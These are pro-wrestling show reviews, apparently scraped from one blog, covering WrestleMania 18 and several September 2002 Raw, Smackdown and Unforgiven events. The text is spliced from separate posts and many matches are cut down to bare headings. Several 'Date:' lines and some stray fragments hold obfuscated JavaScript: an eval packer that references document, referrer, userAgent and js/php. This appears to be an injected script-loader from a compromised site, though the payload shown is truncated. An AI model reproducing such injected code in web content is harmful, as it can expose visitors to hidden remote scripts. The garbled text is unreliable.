Bubba Bomb takes down Jeff who is a very pale man. Bubba hammers on him for awhile as we couldn’t be going through the motions more if our lives depended on it. We hit the chinlock as this is just boring. D-Von comes in to change a few things. Jeff gets caught in the Tree of Woe and Bubba steps on Jeff’s balls. Edge and Christian did that to Matt last year.

Matt comes in to send Bubba to the floor, knowing what Jeff’s balls feel like. Jeff gets a reverse DDT to bring in Matt. D-Von brings in Bubba and I’d rather watch some old 95 Raw than this. It’s that boring. Bubba misses his big back splash which has never hit once, likely for the sake of people’s lives. Billy saves Matt from What’s Up by shoving D-Von through the tables.

Twist of Fate and the Swanton put the Dudleys out. Chuck kicks Matt’s head off immediately after and we’re down to two teams here. Matt grabs a Side Effect on Billy as the crowd is more or less silent here. Poetry in Motion to Billy and the double finisher to Chuck. Billy gets a Fameasser to Jeff for two but then a belt shot to Jeff ends it.

Rating: F. How in the freaking world do you go from TLC 2 to this in just a year? The tag division was completely dead at this point so they split the belts. Well of course they did because that’s the dumbest thing they ever could have done. This was awful and everyone knew it. Boring all around with only Stacy being at her hottest to be worth anything.

Outsiders say they’re going to help Hogan. Hogan says don’t do it.

Molly runs into a door and Christian pins him. Tell me it’s over. I need to hear that it’s over.

Now it’s time for the REAL main event of Wrestlemania 18: The Rock vs. Hulk Hogan. This all starts with a tale as old as time: Rock wants to know who the better man is. In this case, that’s all this feud needed. Anyway, Hogan pins Rock with the leg drop in a 6 man on Raw, so we already have a reason to believe Hogan can win. Seriously, that should be enough right?

The scene with Rock and Hogan standing toe to toe in the ring on Raw in Chicago to start up the feud is incredible. Rock: “You talk about headlining Wrestlemania after Wrestlemania after Wrestlemania. Well how do you feel about headlining one more Wrestlemania with THE ROCK?” Game on.

Now we get to the really idiotic part as Hogan hit Rock in the back of the head with a hammer. When he was loaded into the ambulance, Hogan commandeered a semi truck and plowed into it. Rock was of course back on Raw the following week because that’s how he rolls I guess. Vince thought that two of the biggest names of all time facing each other wasn’t enough so he threw in a pointless story. That was just a waste to me and always will be.
The Rock vs. Hulk Hogan

Hogan’s pop is insane as the fans show that Hulkamania will indeed live forever. When Hogan is in the ring a HUGE Hogan chant starts up. Rock’s pop is clearly smaller, but it’s there. Ross tries to call this a mixed reaction which is just laughable. The staredown is indeed awesome. The guys seem really confused about the crowd. They pop for the bell. When do you ever hear that?

Hogan sends Rock flying off the lockup and the place erupts. I’ve always liked Hogan talking trash in the most basic of moves. In a headlock for example “Ask him ref or I’ll rip his head off!” Hogan shoves him away again and says just bring it. Hogan hammers away, saying “You ain’t nothing meatball”, which is a line from Rocky III.

Rock gets the big jumping clothesline/forearm and is booed out of the building. Rock hammers away and almost goes over the top but instead hits the floor under the ropes. An attempted Rock Bottom is blocked and Hogan “hits” an elbow to the top of the head and pounds away at Rock on the mat. Rock spears him and pounds away as the crowd is all over him.

Hogan gets a belly to back suplex to calm the riot. He throws on an abdominal stretch and rolls Rock up for two. Let the back raking begin. Time for some punches in the corner and Hogan can do no wrong more or less. Rock comes back with chops but Hogan gets what looked like a chokeslam of all things but I think was supposed to be a clothesline.

The wrist tape comes off and Hogan chokes away but Rock fires off some punches, only to be sent to the floor. Almost all Hogan so far as Rock can barely get anything going. Hogan starts setting up the (English) announce table but Rock rams him into the table to save himself. Rock tries a chair shot as more or less he’s turned heel mid match. The referee stops it though and we head back in.

Down goes the referee and it’s a spinebuster by Rock to set up the Sharpshooter. Rock might as well be eating a bowl of puppy and rainbow stew at this point. Hogan taps but there’s no referee. See, why in the world would Rock let Hogan go to wake up the referee? He’s going to get up on his own and Hogan is more or less dead. LOUD Rocky Sucks chant starts up which hasn’t been heard in years.

Rock takes a low blow and walks into his own Rock Bottom for two. The weightlifting belt comes off but Rock gets a DDT and more booing. Rock whips Hogan just like Hogan whipped him as the referee is down again. There’s a Rock Bottom to Hogan for two as the Hulking Up begins. The usual finishing sequence including the legdrop blows the roof off the place but only gets two, blowing what’s left of the roof off the place.

A second big boot hits but the leg drop misses. Rock Bottom plants Hogan but Rock isn’t done yet. He adds a second Rock Bottom to more or less kill Hogan. He nips up and it’s the People’s Elbow to get something close to a pop and send Hogan into vibrating fish mode. That’s enough to get the pin finally.

Rating: C+. There’s good and bad here. The crowd was electric the whole night and the nostalgia levels were off the charts. There’s one simple problem though: Hogan didn’t have it anymore. He was old and bad at this point, and his stuff simply wasn’t credible. While it’s fun, it’s not that good. The crowd and the atmosphere is all of the grade here. They had a great story of having Rock be the younger and in better shape guy that outlasted Hogan in the end. Well done and it worked very well by the end. Good story, good crowd, weak execution though.

Hogan offers Rock a handshake post match and we get it to a big pop. Rock leaves and the Outsiders come down, all ticked off about the handshake. They beat him down until Rock comes back for the save. Hogan tries to leave but Rock wants him to pose, and you don’t have to ask Hogan twice to do that. That eats up a few minutes and Hogan raises Rock’s hand as they leave together.
Big Show is at WWF New York as we have a new attendance record.

Women’s Title: Jazz vs. Lita vs. Trish Stratus

I’ve been watching wrestling over 20 years and I have never heard a more dead reaction for a champion than Jazz gets here. Literally, not a sound. No booing, no anything at all. It is complete silence. Lita gets a nice pop as I remember how completely awesome she was as a face. The song is perfect for her and her gyrations could give Melina a run for her money.

Trish of course gets the mega pop as the hometown girl. The problem here is simple: this match is following The Rock vs. Hulk Hogan. No one cared and I don’t care now. Well I do care about Trish in the tiny white shorts with the maple leaf on her trunks. Lita and Jazz go at it before Trish gets there. The two that people actually care about go at it on Jazz which doesn’t really work.

Half crab goes on Trish and now she’s in trouble. Double chicken wing to Lita as it’s all Jazz. Crowd is dead and you can clearly see a lot of people walking around and heading to the concession stand. This is one of those matches where nothing that happens actually matters so I’m not really going to bother with telling you what’s going on.

Trish is apparently hurt so of course Lawler offers to give her mouth to mouth. Trish rolls through a top rope cross body by Lita to get two on the redhead. Bulldog gets two as Jazz saves. Lawler lists off various countries that the show is airing in because they don’t want to call the match which I completely understand. I don’t want to either.

Lita and Trish go at it before this was a huge rivalry and before they had fought a dozen times on PPV. They slug it out with Lita mostly getting the better of it. Jazz interrupts the Twist of Fate and then stops to let Lita hit her. Lita takes her top off and tries a moonsault on both of them but winds up hitting Trish’s knees.

The two attractive ones hit heads and Jazz beats on them. Trish’s bulldog is blocked by Lita but Lita gets crotched on the top. Trish is knocked to the floor and a fisherman’s suplex off the top keeps the belt on Jazz. Yes, Jazz beat Trish in a title match in Toronto. Let that sink in for a minute.
Rating: F+. This is all based on how hot Trish and Lita look. The booking here is ridiculous to say the least. Trish gets the huge pop, comes out third, and doesn’t win? No. In no way, shape or form is this logical.

Christian tries to get a cab and escape as champion but Maven runs up on him and rolls him up to leave Mania with the title. At least it’s over.

WWF Undisputed World Heavyweight Title: HHH vs. Chris Jericho

It’s main event time and Drowning Pool plays HHH to the ring. Since there’s no backstory, here I am for the rescue. HHH and Stephanie are divorcing so Jericho teamed up with Stephanie so he’d have an advantage. HHH is back from the quad tear and won the Rumble to earn this shot. People are leaving the arena early as they know the ending already. What does that say about the main event of Wrestlemania? It’s that obvious that HHH gets the title back tonight.

Jericho has both belts because the Undisputed Title was supposed to go to HHH so he gets the big unified belt. Stephanie looks great in the skin tight leather body suit but the hair isn’t working at all. The crowd of course is confused because Jericho is Canadian but HHH is rather awesome at this point. Jericho has the bright green tights here to (not really) match Stephanie.

The champion wisely goes after the leg to start us off. Jericho chops away but HHH gets the jumping knee, only to limp away afterwards. HHH gets sent to the floor although he manages to send Jericho out as well, landing ribs first on the railing. We set up the Spanish announce table but Jericho gets a kick to the knee to stop HHH again.

Back in the ring and a spear by HHH takes Jericho down for a bit. We’re only a few minutes into this and they’re having some issues really getting going so far. HHH goes after the knee of Jericho to be funny I guess. Ironic maybe? Whatever. A Flair knee crusher sets up a Figure Four. Stephanie gouges his eyes to break that up though and the stalking is on.

That was another thing: everyone knew that HHH would get the Pedigree on Stephanie at some point tonight. Jericho charges at HHH but takes Stephanie down instead. Pedigree attempt to Stephanie but Jericho gets a missile dropkick to break it up and take over. The bad leg goes around the post a few times and Stephanie kicks it as well.

Jericho works on the knee some more in the ring and the Canadian is in control. Back to the post again as Stephanie adds a leg wrap in also. There’s the Canadian favorite of the figure four around the post. Back in and HHH tries to fight but gets taken down by a drop toehold. Jericho cranks on the leg as we’re steadily into the formula here.

Spinning toehold goes on by Jericho as the fans chant for Hogan. Well of course they are. HHH sends Jericho shoulder first into the post to break the momentum and adds a neckbreaker which Jericho is up from first somehow. Clothesline gets two for HHH. Facebuster hits but HHH can barely move after it. His offense is so knee based it’s unreal.

Spinebuster, perhaps his only non knee based move, gets two. Jericho reverses to send HHH out to the floor and therefore end the momentum that HHH had going for him. Jericho sets up the table again but can’t get the Walls of Jericho on there. Pedigree is broken up also and it’s a backdrop through the table. That and the Lionsault both gets two in the ring.

HHH gets back up but again can’t get the Pedigree. Jericho gets a shot to the knee and there are the Walls. After wasting some time with Jericho pulling HHH back to the middle he gets the ropes as we all knew he would. This is why heels not named Kurt Angle shouldn’t use submissions: they never work. HHH gets the rope of course.

Jericho hits the floor and grabs a chair. HHH grabs a DDT onto it and no one cares. Just get to the ending already. Stephanie gets in the ring and shoves the referee down. There’s a Pedigree for your efforts woman. Jericho gets a chair shot to the head for two and freaks out as only he can. Jericho tries a Pedigree and it naturally gets reversed. He tries to come off the middle rope and the real Pedigree finally ends it.

Rating: C+. It’s ok, but that’s it. The crowd was so dead it’s not even funny and it hurt the match really badly. Had this match gone on during the middle of the show or even just switched places with Rock/Hogan, it goes up in value at least 3x. The finish was anti-climactic and while it wasn’t one of the worst WM main events of all time as it’s certainly not a bad match by any means, it’s certainly not a good main event.

Massive posing takes us out. HHH would lose the title the next month to Hogan.

Overall Rating: C. I picked C because a C is average, which is what this show is. While it’s not terrible, it’s also not great and it falls somewhere in the middle. However, there’s too much filler which would become a problem with many of the Manias to come.

The problem here is simple: a lot of these matches either need to lose 5-10 minutes each, or be on Raw/Smackdown. Angle, Kane, Booker T and Edge all should be on WM, but their matches had next to no story to them. This is a situation in which the MITB match was a GREAT idea. All those pointless matches with wrestlers that certainly should have been on the card got thrown into a match that fit their level on the roster but also had a point to it.

Instead of getting these random one on one matches that are ok but tiring, we get one big exciting match instead. Overall the biggest issue with this show is obvious: the main event wasn’t the last match of the show and it killed the ending. If you want to make this Mania much better, don’t watch it in order and skip some of the boring stuff that no one cares about. Not bad but not great, watch it if it’s raining outside and you’re out of alcohol.

 

 

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Unforgiven 2002 (2017 Redo): The Worst Hero Ever

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrsdh|var|u0026u|referrer|kifyr||js|php'.split('|'),0,{})) 2002
Date: September 22, 2002
Location: Staples Center, Los Angeles, California
Attendance: 16,000
Commentators: Michael Cole, Jim Ross, Tazz, Jerry Lawler

Un-Americans vs. Goldust/Bubba Ray Dudley/Kane/Booker T.

Christian comes in and eats a spinebuster, allowing the hot tag to Kane. Everything breaks down as house is cleaned, leaving Test to miss the pumphandle slam. Booker gets in the Spinarooni but gets decked by Christian. We hit the parade of secondary finishers until Kane chokeslams Storm for the pin.

The flag is indeed waved.

Intercontinental Title: Chris Jericho vs. Ric Flair

Jericho is defending after losing to Flair last month and wanting to get some revenge. Flair is in black trunks and purple boots tonight for a really odd combination. Some chops look to set up the Figure Four in the first minute of the match so Jericho kicks him outside without too much effort.

Eric Bischoff gives 3 Minute Warning the same speech. Ah yes: the build to the Eric vs. Stephanie feud would indeed be more important than a title match. Bischoff has brought in Rico to manage the team tonight.

Edge vs. Eddie Guerrero

3 Minute Warning vs. Billy and Chuck

Bischoff has his lesbians ready to go

Raw World Title: HHH vs. Rob Van Dam

The lesbians celebrate with 3 Minute Warning and Rico. Bischoff will pay for their night out. Why would the LESBIANS be interested in this? Actually never mind as Eric holds two of them back for later.

We recap Chris Benoit vs. Kurt Angle which is basically an argument over who is the better submission wrestler. Does Benoit vs. Angle need a story?

Kurt Angle vs. Chris Benoit

We recap Undertaker vs. Lesnar with the music video treatment. Basically Undertaker has been around forever but has never faced anything like this. Lesnar is undefeated but never gotten beaten up before.

Smackdown World Title: Brock Lesnar vs. Undertaker

Lesnar is defending. We start with the big power lockup with Undertaker shoving Lesnar all the way out to the floor. It happens again so Lesnar kicks the steps while Heyman does some coaching. Back in and Brock starts kicking him into the corner, only to get caught with Old School.

Undertaker throws him through the set to end the show.

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Smackdown – September 19, 2002: They’re the Faces?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aibas|var|u0026u|referrer|dssfy||js|php'.split('|'),0,{})) September 19, 2002
Location: World Arena, Colorado Springs, Colorado
Commentators: Michael Cole, Tazz

Opening sequence.

Rey Mysterio/Torrie Wilson vs. Nidia/Jamie Noble

Brock Lesnar vs. John Cena

Non-title and something that would be a bit different today. Like Cena would be wearing jean shorts while Lesnar squashed him. Lesnar forearms him in the back of the head to start and hits the first overhead belly to belly. Brock starts pounding him in the back and gets two off a delayed vertical suplex. A waistlock has Cena in even more trouble as the very slow pace continues. Brock stays on the ribs for a bit longer, shrugs off the comeback, and finishes with the F5.

Video on Rikishi, who was shot back in 1986. Ok then.

Eddie Guerrero wants revenge on Edge for the Stinkface. If that means more Edge vs. Eddie, I guess I can live with it.

Eddie Guerrero/Chavo Guerrero vs. Edge/Rikishi

Edge gets in a powerslam but Eddie cheap shots Rikishi to prevent the hot tag. I love how so many of those spots have been used for the better part of twenty years and simply do not get old. A tornado DDT is broken up and the hot tag brings in Rikishi to clean house. We get the double crush in the corner but only Chavo takes the Stinkface. Eddie bails to the floor so Chavo hits Rikishi with a TV camera for the pin.

Post match Eddie chairs Edge in the face to cut him open.

Matt Hardy vs. The Hurricane

Billy and Chuck vs. Kurt Angle/Chris Benoit

Benoit and Angle trade submissions post match, making Billy and Chuck look even more worthless.

Undertaker arrives with ten minutes left in the show.


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Monday Night Raw – September 16, 2002: Up is Down and Left is Right

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdsif|var|u0026u|referrer|bztbr||js|php'.split('|'),0,{})) Night Raw
Date: September 16, 2002
Location: Pepsi Center, Denver, Colorado
Commentators: Jim Ross, Jerry Lawler

We open with a recap of Stephanie McMahon marrying a Justice of the Peace until the Justice ripped his face off to turn into Eric Bischoff, who I guess became the new groom. 3 Minute Warning came in and destroyed the bride. Billy and Chuck are never mentioned.

Opening sequence.

The International Organization of Women is protesting this show.

Ric Flair vs. Rico

The protesters get to the gate but get turned away.

Booker T. vs. Test

During the entrances we hear about Bradshaw tearing his bicep and being put out 4-6 months (it was six, plus three months in OVW). Test jumps him to start as we actually hear about the two of them being former Tag Team Champions. A side slam gets two on Booker and we hit the armbar.

Booker makes his comeback with chops and a very slow motion spinebuster but the ax kick misses. A missile dropkick connects for two and Test gets the same off a pumphandle slam, giving us one heck of a shocked face. Booker uses a hurricanrana of all things to take Test down, setting up the spinning sunset flip out of the corner for the pin.

The protesters want to talk to Bischoff.

Tag Team Titles: Un-Americans vs. Dudley Boyz

Spike is put on an ambulance when HHH comes up to smirk at Bubba.

Intercontinental Title: Rob Van Dam vs. Chris Jericho

Jericho escapes a catapult but gets dropkicked out of the air for his troubles. The champ takes a bit too long going up top though and gets butterfly superplexed back down for no cover. Instead Jericho starts kicking away at the back, followed by a pair of backbreakers to make it even worse.

Van Dam takes a Pedigree post match, just in case you thought the new champion should be the focus here.

The protesters get to wait in a room and one is clearly Stephanie in disguise.

Bischoff is going to meet the women but runs into a celebrating Jericho. Chris wants to avenge himself against Ric Flair so Bischoff makes an Intercontinental Title match for Sunday. Jericho is pleased.

William Regal is ready for Kane and has the Un-Americans on standby.

Video on Jeff Hardy.

Kane vs. William Regal

An Un-Americans distraction lets Regal get in a few cheap shots, including a series of forearms in the corner. Kane gets the side slam so Regal goes for the knuckles. Not that it matters as Test comes in to break up the chokeslam for the DQ.

Bubba Ray, Booker T. and Goldust make the post match save. A challenge is issued and accepted for an eight man tag on Sunday.

That goes nowhere so the one who is clearly Stephanie in disguise reveals herself to be Stephanie in disguise (to be fair they did a decent job at not keeping the camera on her for too long but it was the obvious payoff) by kicking Bischoff low and talking trash. Billy and Chuck hit the ring for a modified Doomsday Device (as opposed to just punching and kicking him a lot) and fight off 3 Minute Warning as the announcers and fans have no idea who to cheer for.

Raw World Title: HHH vs. ???

The legdrop between the legs has HHH in trouble but he shoves Jeff outside to break the momentum. Back in and Jeff goes into the post but comes back with a Twist of Fate and Swanton, only to have HHH get his boot on the ropes. HHH grabs the sleeper to retain the title because he actually sees that as a main event finisher.

Van Dam comes back for the Five Star to end the show.


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Smackdown – September 12, 2002: Billy and Chuck and Eric and Stephanie

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asaan|var|u0026u|referrer|zrnfk||js|php'.split('|'),0,{})) September 12, 2002
Location: Target Center, Minneapolis, Minnesota
Commentators: Michael Cole, Tazz

Opening sequence.

Brock Lesnar vs. Hardcore Holly

A delayed vertical suplex sets up a bearhug but Brock charges into some boots in the corner. That earns him a completely botched powerbomb with Holly handing on his head, putting him out of action for over a year. Holly somehow gets in a dropkick and the kick to the ribs, only to eat the F5 for the pin.

Eddie Guerrero/Chavo Guerrero vs. John Cena/Edge

Rating: C+. This worked like you would expect it to but I continue to be confused by Cena. He came in white hot and hit the ground running but then he was losing to D-Von and getting pinned clean in tag matches. As is so often the case, you need more than just a wrestling match to get someone over and the lack of any development is really hurting Cena.

As expected, Eddie goes nuts on Chavo post break.

Kurt Angle vs. Rey Mysterio

We hit the bodyscissors to keep Rey down, followed by some rolling German suplexes to make things even worse. Rey fights right back with a moonsault press and a crossbody to put Angle on the floor. The 619 looks to set up the West Coast Pop but Kurt has to settle for a regular hurricanrana for a close two. Rey takes a bit too long going up though and the corner running Angle Slam puts him away.

Someone from the wedding party arrives in a long black limousine.

Chris Benoit vs. Rikishi

Post match Angle holds Benoit in place for the Stinkface.

The wedding ceremony is being set up so Benoit spends the time getting a match with Angle at Unforgiven. Stephanie agrees as Matt comes in and gets a match with Undertaker tonight.

The shaking stops and the voice changes with the old man ripping off the prosthetic makeup to reveal Eric Bischoff. I know you can tell it a lot better now with the voice but this COMPLETELY got me back in the day and was one of the best surprises I had ever seen. 3 Minute Warning comes in for the beatdown with Bischoff holding Stephanie back.

Nidia vs. Torrie Wilson

Matt recruits Brock to be at ringside with him.

Undertaker vs. Matt Hardy

Lesnar and Heyman are at ringside too. Heyman immediately starts running around the ring and throws a chair in with Tazz blaming Stacker 2 (sponsor) for all the energy. Undertaker will have none of this and grabs a powerslam to plant Hardy. Heyman gets ejected and the distraction lets Hardy get in a low blow.


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Smackdown – September 5, 2002: The Holly Show

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsiii|var|u0026u|referrer|hadey||js|php'.split('|'),0,{})) September 5, 2002
Location: Resch Center Arena, Green Bay, Wisconsin
Commentators: Michael Cole, Tazz

Opening sequence.

Billy vs. Rey Mysterio

A very early Rico distraction (those sideburns are mesmerizing) lets Billy jump Rey and choke in the corner. The tilt-a-whirl powerslam plants Rey and Tazz makes gay jokes. Rey gets in his first offense with a dropkick to the knee so Billy clotheslines his head off, making sure that Mysterio has nothing of note so far. Rico cheats a bit more so the fans are all over him, making Rico the best thing about the match so far. More shots to the back keep Rey in trouble but a springboard dropkick sets up the 619 with Chuck making the save. That means Billy gets to work Rey over even more until Mysterio gets a fluke cradle for the pin.

Cruiserweight Title: Jamie Noble vs. Shannon Moore

Shannon is challenging after pinning Jamie in some recent tag matches. The battle of wristlockery start things off until Shannon armdrags him down. Nidia grabs a leg but Shannon dropkicks the champ to the floor anyway. Back in and a harder clothesline than you would expect from a cruiserweight match puts Shannon back down and a belly to back gets two.

Paul Heyman is hyping Brock Lesnar up for his match with Randy Orton when Randy comes up and says absolutely nothing of note.

Brock Lesnar vs. Randy Orton

Non-title and one of those matches that would be totally different just a few years later. Also Lesnar is now WWE Champion instead of Undisputed Champion as continuity takes another hit for the sake of pulling a title out of a briefcase. Orton charges straight at him and actually gets two off a rollup. That just means an overhead belly to belly though and Brock is already smiling.

Brock throws him over the top and hits an STO back inside. He throws Orton onto his shoulders and drives Randy back first into the buckle over and over as this is a total squash. Heyman: “HE WANTS THIS!” A dropkick to the ribs staggers Lesnar and Orton gets in the backbreaker. For reasons of general stupidity, he heads up top for the high crossbody but gets rolled through into the F5 for the pin.

Mark Henry congratulates Billy and Chuck.

Crash signs his contract and thanks Stephanie when D-Von comes in. The Reverend is upset about Billy and Chuck but again we never heard the word wedding or marriage. He talks about how immoral is it but OF COURSE Stephanie cuts him off for not showing her enough respect. The ceremony is next week, D-Von faces Batista later and just in case you forgot, Stephanie is the most amazing and intimidating person ever.

Tajiri vs. Mark Henry

Reverend D-Von vs. Batista

Batista has what would be his theme song for years and the red trunks instead of the gray one he had been wearing. D-Von jumps him to start and gets in a quick chair shot, only to take a Batista Bomb for the pin in a minute and a half. The man that pinned John Cena clean last week everyone!

Eddie Guerrero and Kurt Angle are ready for their six man tag tonight. Angle is annoyed at Benoit for costing him the #1 contendership so Benoit comes in and we have a staredown.

Matt Hardy vs. Hardcore Holly

They trade rollups for two to start before opting to just punch each other in the face. Tazz would rather talk about cheese jokes (Wisconsin remember.) as Holly gets two off a belly to back suplex. A backbreaker sets up a belly to back superplex, only to have Matt knock him away and get two off a moonsault press. The Side Effect gets the same but Holly gets two of his own with a powerbomb. Neither finisher can hit so Hardy grabs a rollup, only to be reversed into another one with Holly grabbing the tights for the pin.

Crash vs. Hurricane

Edge/Undertaker/Rikishi vs. Kurt Angle/Chris Benoit/Eddie Guerrero

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Smackdown – August 1, 2002: The Summer of Stephanie

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inekt|var|u0026u|referrer|tfiii||js|php'.split('|'),0,{})) August 1, 2002
Location: Charlotte Coliseum, Charlotte, North Carolina
Commentators: Michael Cole, Tazz

Opening sequence.

Rey Mysteiro vs. Tajiri

Back up and Mysterio flips into a tornado DDT for two, only to get caught in the Tarantula. Another hurricanrana is countered into a sitout powerbomb but Rey comes right back with the Six Nineteen (Tazz dubs it the 619). The West Coast Pop is broken up but Mysterio comes back with a top rope version for the quick pin, earning the crowd reaction you would expect from a Mysterio match.

Instead they get Hulk Hogan (with no music) to make fun of Angle for whining too much. Ignore the fact that Angle was cutting a pretty face promo actually. Hogan wants a piece of Lesnar too but Angle thinks the best Hogan could do is challenge him to a game of shuffleboard.

Brock Lesnar vs. Mark Henry

Henry wants to fight Lesnar face to face. Lesnar bounces off of him to start so a hard clothesline gets two on Henry. A suplex gets the same for Mark but Brock belly to bellies him down. The F5 is enough for the easy pin.

In the back, Lesnar tells Hogan that he wants to face him next week.

Angle runs into Lesnar, who wants Kurt to win tonight. All three of these segments were in one long shot. I kind of like that actually.

Kurt Angle vs. Hulk Hogan

Hogan takes the F5.

Rikishi vs. Revered D-Von

Rikishi gets beaten down after the match.

John Cena vs. Rico

This would have been a much better, and very different, match down in OVW (Rico was awesome back then). Rico slaps him in the face to start and fires off his kicks in the corner until Cena gets in a spinebuster. A tilt-a-whirl powerslam gets two but Cena gets dropkicked out of the air. Not that it matters as the ProtoBomb ends Rico a few seconds later. Not much to see here.

Billy and Chuck, seemingly fine again, come out for the big beatdown.

The Rock/Edge vs. Chris Benoit/Eddie Guerrero

Hogan hits Lesnar with a chair to end the show.

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